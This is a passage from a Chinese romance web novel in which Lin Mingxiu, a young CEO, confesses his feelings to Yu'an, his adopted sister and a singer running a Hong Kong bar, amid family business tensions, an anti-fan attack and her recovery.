林鹤堂神隐之后,林鸣修这种年纪轻轻坐上金字塔顶端的新贵,怎么能不受媒体追捧?再加上其气质风度非凡,随便一张照片出现在金融报刊杂志上,都会让人误以为是娱乐杂志,或是电影里的某一帧。 一时间,他成为了港圈八卦记者争相竞逐的对象。 柚安早上就在《爆周刊》上,看到了一篇题为《爆轰!金融新贵玩好野,暗巷战衣震散纽扣实录!》的新闻,而配图只不过是林鸣修与秘书停车在巷口,等Kim下车买咖啡时被偷拍的一张糊图,脸都不甚清晰,倒是林鸣修松开的衣襟处,洁白的锁骨相当显眼,那延伸到胸口的深V型,叫人遐想连篇。 这天晚上,她刚到Echoes&Elixirs,就听阿谨说林鸣修来了。 她“哦”了声,往后场走。 今天的音乐风格靡丽,灯光也配合得非常晦暗。穿越端着酒杯扭动腰肢的男男女女时,柚安不禁想象林鸣修穿着解了三颗纽扣的白衬衣,和包裹合衬的西裤,大步经此处走向后场时的样子。暧昧的舞池灯光游曳到他脸上,是如何一副诱人醺醉的画面。 也许会有喝醉的女人投怀送抱,毕竟晦暗的光线保护了他的身份,却不能掩盖他天菜的气质与外形。 他大概不会流连,他会轻轻推开黏上来的人,动作绅士,脚步不停。 她一边走一边想,想到这里,已经到达安静地后场区域。 推开办公室大门,林鸣修正躺在沙发上睡觉。 他穿着和柚安想象中一模一样的衬衣和西裤,领口V字型敞开,领带随意挂在沙发靠背上。 “倒是会躲狗仔,找到我这么好的地方。”柚安哼了声说。 沙发上的男人没有回应,他呼吸深沉,应该睡着有一会儿了,眉头却轻微锁着,给人生人勿进的感觉。 柚安没有再做打扰,信步走到办公桌前坐下,看进货单,核对账目…… 音乐像烟雾般飘荡在办公区上空,今晚的女歌手有一把慵懒的烟嗓,将歌唱得情欲交织,听得人醺然。 心神浮荡,像是被托举到半空中,落不了地。 几次强行集中注意力失败后,她终于将目光从枯燥的账本中移出来,落到沉睡的男人脸上。 “喂?” “顾鸣修?” “真睡着了?” …… “顾鸣修,你是不是喜欢我?” 声音像游丝般的雨幕,缥缈又空濛。 拜托你是真的睡着了,又或者假装没听到,因为我绝不会再问第二次。 第28章 而他说,那很正常。…… 五、四、三、二、一……柚安在心里倒数。 数到最后一个数字的时候, 林鸣修缓缓地睁开了眼睛。 柚安的心跳猛然惊落一拍。 只见他支起身体坐好,抬眸看向自己,说:“是。” 柚安瞳孔骤然睁大,脱口而出:“你有病啊, 你是我哥!” 不是没有心理准备的, 只是她以为即便林鸣修承认, 也会是一副“你能拿我怎么样”的态度, 就像那天在书房, 将她逼到门上时一样。 而不是现在这样,平静到几乎没有情绪, 甚至有种抵抗到绝路,丢盔弃甲的认命感。 “林柚安, 你有把我当过哥哥吗?”他用自嘲的语气问。 “我……那不重要。你现在这么出名,想想舆论会怎么说?八卦周刊可不会查你户口簿, 他们什么故事都编得出来!还嫌局面不够乱吗?还是嫌树敌不够多, 上赶着要给人家送把柄?” 柚安慌乱地收回目光, 忽然她心想, 为什么第一反应是旁人, 而不是自己的感受? 这样一想,竟倏地卡了壳。空气一下子凝固, 林鸣修始终看定她, 他知道这家伙远不像看起来那么随性恣意, 实则胆小又脆弱,跟爱把脑袋埋进沙里的鸵鸟,没什么两样。 而且她逞强的样子,真的很好笑。 他勾了勾唇,就在这时, 听见柚安说:“可是我不喜欢你。” 她终于让自己冷静下来,几分轻蔑地看着他。 林鸣修轻笑,“这很正常,难道两个人正好相爱,是什么大概率的事情吗?” “……” 柚安耳根子被烫了一下,因为他陡然将喜欢升级成爱,亦因为不被爱的那个,自己也当过。委屈、难堪、痛苦,一样没少经历,到头来却是一场空。 而他说,那很正常。 仿佛乐得被伤害一样。 她一下子失去了憎恶的资格。 就连嘴角那一抹轻蔑,都不再有立场。 “你藏多久了?”直觉告诉她,他不是一时兴起。 “很久。”林鸣修回答。 “具体多久?” “不会让你知道的。” “……那怎么,突然就藏不住了?”她将账本立起来,手撑在上面,遮住半张脸,“因为我跟黎燃在一起?” “嗯。”林鸣修坦然承认,即便他心里知道,就算没有黎燃,那些扭曲的心事,或早或晚也会将他逼疯,要么彻底爆发,要么拉着他拽着他,让他彻底深陷于阴暗。 “下次谈恋爱,别在我跟前晃。”他轻描淡写地说。 柚安哼了声,“再谈恋爱,你还是会搞小动作的。” “看心情。”他无所谓地一笑。 柚安下意识咬唇,理应要发火的,血都冲上来,却又发作不起来,呈现在林鸣修身上的某种无力感,实在太熟悉了。 至此,柚安更加刻意地避开林鸣修,就连那番对话,也刻意地不去想—— 想了也消化不了。 索性对方识趣,且诸事缠身,真的没有在她面前出现过。 重阳节,林鹏海打着亲人团聚的名义,宴请林鹤堂一家。 地点选在两家人常去的会所,晚上六点,柚安直接从酒吧开车前往,大伯一家来的只有陈静淑和两个小儿子。 不久,林鸣修也将林鹤堂夫妻接了过来。 尹晴奇怪地问陈静淑:“大哥呢?” 陈静淑生气地挽着尹晴告状,“他跟景琛在澳门办事,被绊住了,估计一时半会儿脱不开身,老头子应酬起来,被灌几杯酒就不知道东南西北了,我们聚,别管他。” 话是这样说,但表情是掩饰不住地高兴。 林鹏海好赌是众所周知的,他不时跑到澳门玩儿两把,缺席自己喊起来的家宴,再加上陈静淑这副得意忘形的样子,多半是手气好,赢得舍不得下桌了。 尹晴依着陈静淑的话,应付了两句,两家人就林鹤堂的身体状况一番寒暄,气氛像从前一样地融洽。 林鹤堂一家虽是客,林鸣修还是像以往那样,承担了大部分的协调工作—— 就连找经理核对菜单,确认没有林鹤堂不适合的食物或是调味这种事情,也是他亲自去做。 一群人入席时,他也是最后一个坐下的。 即便他如今是CEO,也没有放下这些习惯,似乎在家里,始终还是那个前来投奔的外姓人。 他绅士周到,却不显得刻意招摇或是讨好,举重若轻地,叫人意识不到他的服务。 柚安却不得不注意到。 连带着他承认喜欢她的那个晚上,也无法控制地一再浮现在脑海里。 从小到大,追求过她的人众多,对于不喜欢的人,她眼睛长在头顶上,拒绝或伤害的话,不费丝毫气力。 如今却要不停地斟酌,该用什么样的态度对待林鸣修,就连他从面前经过,都会不自觉紧张一下,好像做错事的,是她一样。 吃着饭,两家人不免要提起四海的现状。 四海现在面临的最大问题,是一家名叫海宇资本的公司一直在趁低买入股份,现在四海的股价一直在跌,那家公司吸入了大量股票,这不得不引起董事会的恐慌。 柚安听林鹤堂说过,所以尚且跟得上聊天的节奏。 现在公司里的状况,林鹤堂都很乐意告诉柚安,即便只是以最亲切易懂的说法,将水面上的小部分告知于柚安,也足够让她头疼的。 面对这种状况,本该保守行动,保住股价的林鸣修,却反其道行之,欲要收购一家规模不小的文旅公司,名叫乘风集团。这更惹得董事会责难连连。 背后的林鹤堂却百分之百赞成,因为这样做,是防着海宇资本一朝吃饱喝足,对四海发起收购。 若那时,四海已经成功收购乘风集团,可免于被海宇收购的危机。 同时,收购文旅产业,也能很好地助力四海发展,甚至可以拿到土地开发权,开发文旅□□。 柚安还记得,那个时候,林鹤堂以《吃豆人》的游戏跟她解释:“怪物追逐Pac-Man时,Pac-Man可以吃掉能量丸,反过来吃掉怪物。” 当时听得津津有味,但是后面想起来,只觉得林鸣修要面对的问题,比登天还难。 林景昀给林鹤堂斟好茶,看向林鸣修,“大哥,收购乘风还顺利吗?我听说对方意向不大,这关头……要不缓缓?” 没等林鸣修回答,陈静淑也出声,她是冲着林鹤堂的,“上次和容岑夫妇在宴会上碰到,也说起这事了,他们对鸣修新官上任三把火的做法,可是说了不少难听的话,说以四海现在这境况,硬要吞乘风,胃口不小,牙口够硬吗?鹤堂你也不拦着鸣修一点。” 程容岑便是乘风集团的创始人,与林鹤堂年龄相当。 柚安悄悄瞥向父亲,他苦笑了下,“我当时刚做完手术,哪有精力管这些?不过儿女终究要放出去历练的,不妨放手让他试试。” “你这是拿整个四海给他试手呀!” “哈哈,才开个头,不必太惊慌。”林鹤堂和颜悦色的。 陈静淑转向林鸣修,“容岑的生意做得风声水起,四海市值又在下行,他不可能卖的。” 林鸣修虚心受教,“乘风的意愿是不高,我也没有十足的把握,不过现在就放弃,恐怕会引起股东更大的恐慌,走一步算一步吧。” 陈静淑轻轻“哼”了一声,眼神中,不乏有等着看他一败涂地的味道,也夹杂些许对他糟蹋四海这块大饼的可惜。 光是听他们打嘴皮子仗,柚安就已经够心惊肉跳的了。 她低头一口气喝了半盅汤,不敢去细想林鸣修正在经历些什么,特别是把他的经历,和他那天承认他喜欢她联系在一起。 “不过啊,那天容岑喝得高兴了,透露说他小女儿对鸣修挺有好感的,实在不行,鸣修你追人家得了,两家一联姻,皆大欢喜。”陈静淑狡黠一笑,开玩笑的语气,言语间,有点笑话林鸣修只能用这种手段搞定收购的意思。 林鸣修笑笑,没有说话。 “真的!”不知道是不是人逢喜事精神爽,林鹏海在澳门大捞特捞,长了陈静淑的气焰,她冲林鸣修没完没了,若是牵了这条线,促成收购,她就是最大的功臣。 再往下说,林鸣修的脸便不加掩饰地沉下去,他鲜少放弃表情管理,流露出真实的情绪。脸一沉,气压骤降,饭桌上不免添了几分尴尬。 尹晴不动声色岔开了话题,言语间悄悄留意着林鸣修的表情。 从前跟他或深或浅聊到过,对于联姻这种事,林鸣修非但不抗拒,还表达过若有合适对象,他一定会配合的态度。 如今却起了微妙的变化。 “鸣修可不能为了收购这种事,交出择偶的主动权,我还期待着他带回来一个真心喜欢的姑娘呢,”尹晴笑着,故意开玩笑说,“不过啊,说不定,他已经有了喜欢的人。” “咳咳——”柚安不小心噎了一下,手握着筷子,用力攥紧,只见身旁的林鸣修转眸看向她,嘴角呷着笑意。 她的名字从他嘴里送出来: “柚安——” 柚安心想:有病吧! 握得太紧,两根筷子在手里打架,夹住的花蛤落到汤里,溅了她一身。 这个时候,听见林鸣修的声音说:“可以帮我递一下椒盐吗?” 柚安没抬头,慌忙抬手将椒盐罐子推过去。 林鸣修拿过罐子的同时,一张纸巾被塞进她手里,力道不轻不重。 柚安愣了会儿,才发现胸前洇湿的污渍,赶忙拿纸巾擦。 “谢谢。”声音有些发干。 “不客气,谢谢你递盐罐。” “不客气。” 林鸣修不徐不疾地将椒盐洒在菜上,这才回应尹晴的玩笑。 “没有。” 简单直白的两个字,淡漠的语气和表情。 叫人没有办法再将这个玩笑开下去。 柚安这顿饭吃得忐忑,有种身在枪林弹雨中,明明无辜,却分分钟就要被流矢误伤的紧张和委屈。 听见林鸣修说“没有”,一股无名火窜上来,在桌子底下狠狠跺了他一脚。 耳边听到轻轻一声“嘶——”,这才稍感快慰。 第29章 他全身都在不可抑制地升…… 重阳过后, 港岛结束连绵的雨季,进入旱季开端。 干爽的空气带来初秋的凉意,酒吧生意兴隆,父亲的病情也趋于稳定, 一切向好。 柚安在六点钟起床, 朝着窗外的桂树伸了个懒腰, 在桂花的清冷香气中呆坐了五分钟, 决定重新开始写歌。 某扇锁死的大门被轻轻推开一条缝, 无数的灵感争先恐后涌出来,仿佛沉睡已久, 一朝受到召唤,便欲罢不能。 拖着步子起床洗漱, 脑袋逐渐充盈,沉甸甸的, 横冲直撞的灵感压得人眼皮都疼。 于是就在林鸣修身着黑色正装, 一边扣紧腕表一边走出房间, 往楼梯走时, 迎面看到叼着牙刷, 穿着蓝绿条纹睡衣,一副神经质模样的柚安冲过来。 多年训练出来的本能驱使, 林鸣修急侧了个身, 才不至于撞个满怀。 擦身而过时, 薄荷淡香飘在林鸣修的鼻尖,他看见她嘴角的未擦净的白色泡沫。 “抱意思——”柚安含糊抛出话,像只兔子冲进乐器室。 林鸣修冲着她消失的方向,扣好腕表后静静站立了数秒,随后往乐器室走去。 门没来得及关, 他站在门口,只见柚安坐在地上,怀里抱着吉他,正在试某段旋律。 她嘴里哼哼着,牙刷仍叼在嘴里,仿佛一拿出来,灵感就会飞走似的。 这就是她的创作状态吗? 林鸣修静静地笑了笑。 商场上的硝烟在这一刻按下暂停键。 后来,在数场会议与谈判中,他屡次想到这个早晨。那时候,一定笑得前所未有地猥琐。因为真心笑起来的感觉,对他来讲已经太遥远了。 那笑容玷污了那段旋律,他的存在也玷污了那个美好又可爱的画面。 如此卑微的想法反复碾压过他,仍挡不住他反复分神,去回味那个早晨。 一周后,新歌初具雏形,柚安在自己的酒吧里登台演唱。 如今大部分客人都是熟客,音乐圈的居多。听说这一晚柚安登台,圈子里奔走相告,酒吧早早就人声鼎沸。 追光打下来,居然没有任何紧张,唱自己写的歌,原来是那么理所当然的事。 一曲从容结束,收获了无数的掌声。 甚至还有追求者趁机献花送礼。 柚安收了花,退回了昂贵的赠礼,回到后场,将花里暗藏暧昧的小纸条掀进垃圾桶。 阿谨问她:“万一里面有良缘呢?” 柚安心不在焉地说:“哪有心思管这个?” 现在满脑子都是尚未成型的歌,一唱就知道哪段旋律要完善,哪句词要斟酌,灵感又开始跃跃欲试。 就这样,她连着唱了一星期,夹杂着几首之前老歌。 歌的版权还在前经纪公司,老板陆野的手上,但他应该不屑跟她算账吧。 港岛和大陆的娱乐圈虽说生态有异,但底层那点事,还是通的—— 凡有热度,皆有价值。 因此对于这个曾在内地搞出那么大“桃色新闻”的退圈歌手,港媒自然没有放过。 连着唱了三天之后,八卦刊物上就出现了“林柚安沉寂三年之后,悄然复出”的标题,新闻很快便被不知名的力量压下去了,柚安知道是谁的手笔,也没有在意。 但是压不过蛛网般缔结的网友,消息还是沿着网络在港岛和内陆传播开来。 第七天的时候,慕名前来的人已经不止于小众的圈子,还有粉丝,和看热闹的网友。 阿谨一再加强安保和入场限制,还是控制不住,柚安心想,那就暂时不唱好了。 一想到那些在蛛网上发散的八卦里,少不了辛辣刺激的杜撰诋毁,心里就犯了恶心,连带着唱歌也失去了兴致。 第八天的演出海报挂了其他的乐团,她没有出现在台上,夜里十二点,等到聚集的人流减少,才打着哈欠从后门出去,独自开车回夏山郡。 长街寂静冷清,秋风滚过,柚安紧了紧单薄的外套。 “嘀嘀”两声解锁了车门,伸手开门时,一桶凉得刺骨的冰水自头顶倾盆而下,顺着脖颈灌入衣服里面。 她吓傻了,耳边传来两句骂得很脏的话,那人应该是喝醉了,舌头都捋不直。 下一秒,酒吧的安保就冲了出来,追着两个头发染得五颜六色的不良少年远去。 不知道还有没有同伙埋伏在周围,柚安一刻等不了,锁死车门一脚发动油门。 黑粉吗?曾经也遇到过。 即便是不出那种新闻的时候,也遇过跟车,尾随,寄恐怖信件的极端歌迷,更别提声名狼藉之后。 狭小的车内环境让她平复下来,但不确定有没有人跟车,所以她不敢停下来。开到夏山郡入口时,又害怕如有尾随,将她家里地址,真实背景挖出来,引来更多麻烦,只好硬生生错过,在周围漫无目的地转了好多圈,直到精疲力尽,实在开不动车了,才往家驶去。 身上的液体闻着像酒,如果是冰镇啤酒,那也太给我面子了,最好是Echoes&Elixirs出品,她心想。 不是硫酸也不是红油漆,等到阿谨抓住他们,私了算了。 即便开始头痛,浑身酸痛,模糊的思绪里,她依旧认定阿谨一定会抓住他们,因为他背后是林鸣修,朝她泼一杯水,也会被他追到天涯海角。 凭什么这么笃定呢?这样想过之后,又不自觉问自己。 他们的关系早已变了,日理万机,忙得不见人影的代理CEO大人,还会关注她这点破事吗? 会的。 回答的声音比提问还早,仿佛亘古不变。 下车走进家里大门,等在门口的管家看她浑身淋湿的模样,大惊失色,忙问她怎么了。 “麻烦叫Dr. Chen来一趟,我有点头痛。” 柚安脚步不停,趁还有意识,大步回房洗澡更衣。 一切做好躺到床上,医生也来了,初步诊断是受了风寒,外加惊吓,发烧了。 换下来的衣服被医生带走化验,佣人们退去,柚安服下药片,浑身发汗,裹在被子里,睡睡醒醒,不时打冷颤。 一直睡不好,她摸到手机,随便播了首歌。那歌很难听,她也并非想听,只想来点声音,填充这空荡的夏山郡。 哎,人在病时尤觉得孤独。 这种状态不知持续了多久,她听见有人进门,走到她床前。 脚步很轻,存在感却很重,那种感觉很微妙。随着他走近,有种暴露在冰天雪地的心脏,被一床棕色的薄被,一点点覆盖住的奇异感。 半睁开眼,林鸣修刚好落座。他坐在床边的椅子上,手肘支着膝盖,目光轻轻地投射过来,眉心微皱。 “哦,就这样长驱直入了,你真的是一点也不装了。”她声音微弱沙哑,随手关掉了令人煎熬的音乐。 “野心全都暴露给你听了,还夹着尾巴做什么,”林鸣修笑,“况且你进我房间,哪次不是长驱直入?” 真记仇。 她闭上眼睛不想理他。 床头一盏微弱的小夜灯,胡桃夹子人偶无力地靠在夜灯的支柱上,黯淡的光线下,她的脸像被火灼烤,浮着两团不自然的红晕,发丝被汗液打湿,水藻般贴附在额头上,一呼一吸都很吃力,表情却不见得有多痛苦,好似习以为常,经验老道。 他还记得那个刚满五岁,经常跟在他屁股后面的小妹妹,她看到毛毛虫都能笑成一朵太阳花,有多爱笑,生病时就有多爱哭,吃药哭,打针哭,睡觉难受也要哭。 他被爸妈牵着来夏山郡玩,在一楼就能听到她卧室里撕破天际的哭声,晴姨说:“不巧,妹妹今天发烧了,你要上去看看她吗?” 十岁的小少年捏着衣角,心里着急,却不敢动一下,于是紧张地摇了摇头,从此再也不敢惹她哭。 所以,时间是怎么改变她的? 离开家的那些年,她是不是也这样,独自熬过一个个生病的夜晚? “林柚安,在国外是怎么照顾自己的?”他低低地问。 床上的人眼睫轻颤,半晌,不耐烦地说:“爸这么有钱,怎么能苦得了我?” “有没有钱,跟懂不懂得照顾自己,是两件事。” 柚安眼睛缓缓睁开一条缝,没说话。 身体一会儿冷一会儿热,顾不上情绪上的起伏。 林鸣修指尖动了动,将要抬手时,迟疑了一下。 “柚安,我可以探你额头吗?”他努力不让声线颤抖。 柚安眼睛眨了眨,上下眼睫相碰,像打湿的蝴蝶翅膀。 她没有说话,他便当作默许。 抬手覆上她额头,滚烫的程度如他所料,他希望他的手能够冰一些,但很不幸地,他全身都在不可抑制地升温。 四周静静地,窗外虫鸣都那么清晰。 柚安开始后悔关掉了那首难听的歌,但不久,她便感觉到困了,覆盖在心脏上方的薄被逐渐被温水打湿,整颗心脏被包裹在柔软的水里,晃晃荡荡,逐渐失去重量。 无暇去计较这样的触碰算不算逾矩,就这样沉沉睡去了。 意识弥留之际,她只觉得那只手覆在额上的时间,远超过了探温所需,记忆的末端,它拂过脸颊,将粘腻的发丝拨开,指腹炙热而温柔。 第30章 原来他的睫毛这么长…… 掌心掠过她的脸颊, 停在红得发烫的唇上,她已熟睡,呼吸逐渐深沉。 仅止于此了,林鸣修。 他僵硬地收回手去, 发现在谈判桌上割让三亿标的都稳如磐石的手, 如今竟过电般微微发颤。 你不行啊。 他自嘲地一叹, 深深靠入椅背。 柚安睡到第二天十一点多, 醒来时身体已经舒爽了很多, 周身酸痛褪去,头也不痛了。伸个懒腰, 一股脑坐起来,看到林鸣修歪在床前的椅子上, 还没有醒。 阳光从窗外洒进来,原来他的睫毛这么长。 柚安睁大眼睛, 仔细看了两秒, 他醒了。 “……早。” “好些了吗?”林鸣修坐正。 潦草的一觉方醒, 他却没有一丝狼狈, 起身就可以出席商务论坛的感觉。 “好多了。”柚安跳下床, 不许乱七八糟的想法生根发芽。 只要动作够快,这些想法, 连同昨晚种种, 都可以当作没发生过。 步子迈得很大, 往洗漱间走去,手却从后被抓住一带,力道不大,却足以使她失去重心,跌坐到床上。 她惊愕抬头, 撞进林鸣修的视线中。 相隔很近,他浓密的睫毛像墨色的鸦羽,眸色深邃却温和。 他抓着她手腕,倾身,另一只手探她额头。 她呼吸一滞,像被施了定身咒。 怎么敢?! 心里在骂,身体却诡异地静止。 然而这次探温极短,触感一瞬即逝。 “退烧了。”他放开她,“下次遇到这种事,停车,等我。” 柚安“哼”了声,“谁知道你在深圳,上海,还是华盛顿?等你我完了。” 不等他回答,她冲进洗漱间,飞快关上了门。 水龙头放水,哗啦啦流个不停,她手背贴在额上,看着壁镜中,顶着一头乱发,没有血色的脸,恍了好一会儿神。 再出来时,林鸣修已经不在房间了。床头柜上留下一个小巧的药盒,Dr. Chen留下的几种药被分门别类装好,里面整好是七天的量。 柚安放在手里把玩了下,将其装进包里。 吃过早饭,急匆匆拎包出门。 管家追在后头:“病还没好,让司机送吧。” “伤风感冒算什么病。”柚安不予理睬。 车停在Echoes&Elixirs门口,先去隔壁花店买一束喜欢的风铃花,换掉办公桌上寿命已尽的花束,那些还是演出时收到的。 阿谨他们看到柚安抱着一束鲜花,笑容嫣然地走进酒吧,都十分意外。 出了这种事,大小姐说什么也要在家休息几天,定惊养神的,不养神也总要避避风头,最近Echoes&Elixirs可算是烽烟四起。 她反而神采奕奕,跟没事人一样,走路都带着风。 阿谨交代了身边人两句,跟随柚安进了后场办公区。 柚安打理好花,问阿谨那些人抓到没有,阿谨给她看了几张照片,五个发色张狂的年轻人被赤身裸|体绑在中环码头的柱子上,全部都失|禁了,周围是前来认领他们的父母亲戚朋友。 身上倒是没有伤痕,只是脸色一个比一个想死,恨不得当场坠海。 她想起早餐时接到Dr. Chen的电话,被告知液体是一堆酒精饮料的混合物,不惧毒性。 于是稍作安心,让林鸣修不要将事闹大,私了算了。 对方干脆地答应了,那模样称得上温良。 没想到,这就是他私了的方式。 “他们其中一个是您的黑粉,当晚喝了酒,不知道天高地厚了。呐,红头发那个,才刚满十八岁,”阿谨指着照片,“问他为什么当黑粉,他说当年拿您当女神膜拜,没想到……” “好了,不说这个了,晦气。”柚安将照片掀到一边。 “对了,不知道该不该说……”阿谨看了看柚安脸色,她尚没有生气的迹象,于是他继续说,“昨天林总是大半夜乘直升飞机,从深圳赶回来的,他交代以后出这种事,人力要首先放在您这边。对不起,昨天安保都急着抓人,我找您时,看到您自己开车走了。” 阿谨低下头,样子十分自责,看来被林鸣修教训过。 而且,他真的从深圳飞回来…… “这人大惊小怪惯了,你就当他放屁,”柚安面上若无其事,“……他应该,还安排了人暗中跟我吧。” “啊,这个,真瞒不过您。”阿谨讪讪笑道,“知道您不喜欢有人跟进跟出,但是出了这种事,不得不重视。” “知道了。” 她手指覆在眼睛上,揉揉眉间,将糟心的事翻篇。 “不说这些了,现在谈正事,我们来商量一下以后登台唱歌的事。我暂时不打算唱专场了,不用挂节目单,也不用宣传,有感觉就穿插着唱两首。即便是这样,万一人数控制不,或者混进来个不正常的,我们也得有完备的应对预案。” “啊……好,好的。”阿谨嘴里应着,却面露难色,“但是,刚出过这种事,您现在还在风口浪尖上,是不是等过一阵子再……” “等什么?自己的地盘,还不能想唱就唱?”柚安反安慰他,“顾……林鸣修应该吩咐过你们,现场秩序是首要考虑因素吧,但也别因为这样,就把入场人数卡得太死,我们开门做生意的,赚钱才最重要。” 阿谨点头,攥紧手中的文件夹,心头仍有顾虑。 人身安全尚可以人为保护,大小姐心情,真的不会受影响吗? “老板,我还是担心,像那样的黑粉,抓住一个,后面就有一堆,跟蟑螂一样。他们现在,正在网上拿您的旧新闻开Party,这个关头还保持高调的话,怕他们变本加厉。” “偏要高调,气死他们好了。”柚安笑。 那样好看的一张脸,笑起来有魔力,眼睛一弯,真的能让人心神激荡,如沐春风。 阿谨脸一红,干劲跟着起来。 “是,我这就去准备!” 手机闹铃响了一声,柚安拿出药盒,慢条斯理地挑出该吃的药。 阿谨见状,赶忙帮她倒上一杯温水,方才离开。 关门时,忍不住回头看了一眼。他想起初见这位小姐时,她人在魂却淡,全靠一丝倔强撑着。那时的她,应该不会买嫩紫色的风铃花来布置房间,也不会用规整的药盒,悉心分隔出不同的药,定时定点服用吧。 阿谨眼眶温热,轻轻带上房门。 柚安服下药,打开手机来查看信息。 林栖的头像就在这个时候弹了出来。 栖:【看过你唱歌的视频了,新歌太棒了!】 柚安歪头,扬了扬嘴角。 LYA:【你是专业人士吗?就一句太棒了?】 对方很久没有回复,她也知道这样问,是为难老友。自己没有录一个完整版发给她,不知道从现场偷录版里,能听出个什么来。旋律每天都在调,词也没填完,自己才是不专业的那个。 她熄了屏,不打算再发什么。自从上次匆匆一面,两人就没再联系过,只有在林鹤堂生病的新闻盛传时,对方发过消息慰问。 人情淡泊,不知该怎么捞起。 也许一首不成型的歌,就值这一句笼统的赞美。 等到下午夕阳落尽,她准备开车离开时,居然再次收到林栖的消息。 栖:【和以前的歌比起来,有种久溺的人冲出水面,发现斗转星移,天高海阔的挣脱感。】 栖:【P.S. 要出发行版吗?找我帮你做啊!】 柚安关上车门,盯着文字,世界瞬间安静下来,她在驾驶座打字:【我玩玩儿而已,大制作人。】 系好安全带,提示音再次响起。 栖:【很抱歉,上次见黎燃时,我有点失态,现在看来,是我先入为主了,新的恋情,真的有改变你很多,好希望你幸福。】 柚安长吁一口气,旧事如流水,现在想起来,早就缥缈了。 LYA:【不是的,不是他。】 LYA:【我们早就没事了。】 栖:【我还以为,是他拎你出来的……】 柚安紧了紧手机,脑海中不可抑制地浮现出另一张脸。 几度深深呼吸,仍旧无法抹除。 她没再打字,也不知道该回什么,心神意乱地将车开回夏山郡。 一进门,管家就告知说,少爷又飞了。 柚安扶额,“真的不用告诉我的。” 如此,又有几天没见到林鸣修的踪影。 但她沉迷于新歌,日程充实,日子过得飞快。 这天傍晚,在家刷手机时,柚安无意间刷到自己的热搜,名字居然和陆野挂在一起。 心脏顿时跳得失速,光是看到名字,就像被陨石击中。 指尖颤抖着点开词条,内容是陆野新专发布会上的采访。因为她的“复出”,数年前刚被捧出名,就背刺经纪公司,违约转投另一公司旗下,进而被爆出潜规则,与金主在酒店房间发生伤人案件的事情,再次被拿出来讨论。 作为被背弃的前经纪公司老板,陆野被问到对此事的看法。 他举起话筒,柚安的心脏像坐过山车一样极速下坠,她甚至没有办法去看屏幕中的那张脸。 而与之长相相似的黎燃的脸,她却曾百看不厌。 真是叶公好龙! 虽然当年一笔烂账,但陆野的回答非常举重若轻。他帮柚安说了话,澄清了背刺的传闻,并作为前老板,表达了对歌手林柚安的认可。 整段回答不超过一分钟,再看网上,风评略有向好,那些攻击的言论失去了落脚点。 柚安窝在沙发上,偌大的客厅只有她一个人,没有开灯,凭廊上几盏顶灯,将周遭覆上一层橘黄色光晕。 带着某种失重的感觉,她将进度条拨回去,幽暗安静的客厅又响起了陆野的声音。 他嗓音顶级,歌声几度让她颤栗,无怪乎脱敏的过程,漫长又煎熬。 听完第二遍,再拨回去,如此往复…… 不知看到第几遍的时候,她感到心跳已经落回到正常。 可以正视陆野的脸了,而他的脸,也不是什么值得避忌的洪水猛兽。 若说洪水猛兽,时间才是。 柚安猛然发觉,已经过了,这么久了。 久到回头望去,已经记不得,因何而迷恋上这张脸了。 “看几遍了,恋恋不舍的?” 背后的声音叫她心下一惊,转头,林鸣修正双手插兜,靠在沙发背上,侧过脸,好整以暇地看着她。 他的眼睛里,不止有看不起,还有着显而易见的不高兴。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 手背青筋微微凸起,随着…… “你是鬼啊, 一下出现一下消失,脚步都没声音的。” “是你看得太入迷了,来来回回看三遍。”林鸣修说着,伸臂过去, 将柚安的手机屏幕向上一挥, 关掉了视频。 夏山郡陷入彻底的安静, 黑夜中, 万物都在蛰伏。 柚安笑说:“不止, 我看三十多遍了。” 然后眼见他眉心皱起,低头, 松了松衬衣领带,默不作声。 “哦, 我忘了,你说过你喜欢我, 所以, 是在生气吗?” 好像又回到了少年时候, 找到机会就要欺负他一下, 眼看他风尘仆仆, 疲惫,难过, 还是精准戳中痛点, 豪不手软。 他手撑在沙发边沿, 匀称干净的一双手,手背青筋微微凸起,随着他用力,又明显了一点。 垂眸,目光落在沙发里, 柚安的脸上。 自从承认他喜欢她,像这样明目张胆的注视,一次比一次长久,眼中的温柔、暗涌、乃至脆弱,都丝毫不避忌藏匿。 “柚安,怎么才能让你走出来?”他低低地问。 ……我好像,已经走出来了。 柚安迎向他的目光,心头一软,本能的那点刻薄化作罪恶感。 再耍你一下就告诉你好了,她心想。 “我……” “随便吧,懒得管你。”不等柚安说话,林鸣修丢下一叠文件,迈步上了楼。 看他长腿交叠而行的气势,柚安心说真是小气,目视他身影彻底不见,才捡起文件来看。看上一眼,心情再次如坐上过山车。 那竟是她之前所写歌曲的版权证书。 她所有的歌,从大红大紫到冷门小众,全回到了自己手里,只差她签名。 怔然数秒之后,柚安紧攥着文件追上楼去,在林鸣修即将关上卧室门的一刻,将门撞开。 “你,你这几天就是买版权去了?”她喘着粗气问,“你找陆野了?” 林鸣修不跟她僵持,松开门上的手,转而进屋,将领带一把扯下来,随意丢在床上,衬衣的衣领呈现一个深V型,露出有致的锁骨。 “不需要几天,他开出的价格很公道,全程没有为难我,事情办得很顺利。” “怎么没送给你呢?”柚安逞强撇嘴。 “柚安,”林鸣修看住她,“不要觉得你的作品没有价值,可以被当作人情,敷衍对待。” 柚安喉咙发紧,再想伪装地不甚在意,很难了。 啊,这样就跟原经纪公司,跟陆野完全切割了。 但这不是最重要的,最重要的是,那些歌,是她丢掉的,最最珍贵的东西。她没有想到有人会帮她惦记着,再帮她拾起,一首不落。 “为,为什么?” “还能为什么?你重新写歌,我送你个礼。” “……乱唱下咋。”柚安舌尖轻轻卷过。 不是没有想过,林鸣修在收购乘风的关键时刻,一边收拾黑粉的那些破事,一边担心她的安全,她却不知收敛,非要在安全线边缘夜夜笙歌,这会让他多头疼。 谁知他非但不嫌烦,竟比自己还当真,正正式式买下了版权。 “要不要随便你。”林鸣修摘下腕表,背过身去,漫不经心地解衬衣纽扣。 对于正在收购一家上市公司的人来说,买下几首歌曲的版权,是否就跟随手买一杯咖啡那么简单? 不,她没法这么觉得。 即便对方表现地那么举重若轻,她仍旧感到这份礼物,有着自己扛不起的重量。 谢谢你。 她想说。 却一张口就觉鼻酸,声带发涩地厉害。 林鸣修全然无视她的纠结,扣子已经解到底,衣襟微敞,隐约可见有雕塑感的腰线,就这样朝门口走去。 本就发沉的脑子一时间更乱了,眼睛不知道看哪里好。 男人脚步逼近。 柚安半个“谢”字刚说出口。 他一手做出脱衣服的姿势,另一只手不由分说地关上了门。 “砰——”的一声,柚安被关在门外,一张脸涨红。 “……喂!”她气得牙关打颤。 